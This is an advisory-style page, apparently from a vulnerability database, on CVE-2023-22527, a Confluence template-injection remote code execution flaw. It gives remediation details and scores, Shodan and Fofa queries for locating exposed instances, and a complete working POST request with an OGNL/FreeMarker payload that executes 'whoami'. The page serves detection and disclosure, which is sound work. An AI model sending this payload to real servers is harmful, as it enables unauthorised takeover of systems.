🔙 목록으로 돌아가기

CVE-2023-22527: Atlassian Confluence - Remote Code Execution

TitleAtlassian Confluence - Remote Code Execution
Authoriamnooob,rootxharsh,pdresearch
SeverityCritical
ImpactUnauthenticated attackers can exploit template injection in the text-inline.vm endpoint to execute arbitrary system commands on Confluence servers and completely compromise Atlassian Confluence installations.
RemediationUpdate Atlassian Confluence Data Center and Server to August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, or August 2022 Patch 13 that mitigates the template injection vulnerability.
CVSS Score9.8
EPSS Score0.94363
CVE IDCVE-2023-22527
CWE IDCWE-74
Shodan Queryhttp.component:"Atlassian Confluence"http.component:"atlassian confluence"
Fofa Queryapp="atlassian-confluence"
Tags packetstorm cve cve2023 confluence rce ssti kev atlassian vkev vuln

🔍 Vulnerability Description

A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.

🌐 HTTP Request

POST /template/aui/text-inline.vm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Content-Length: 303
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22527.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-22527.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A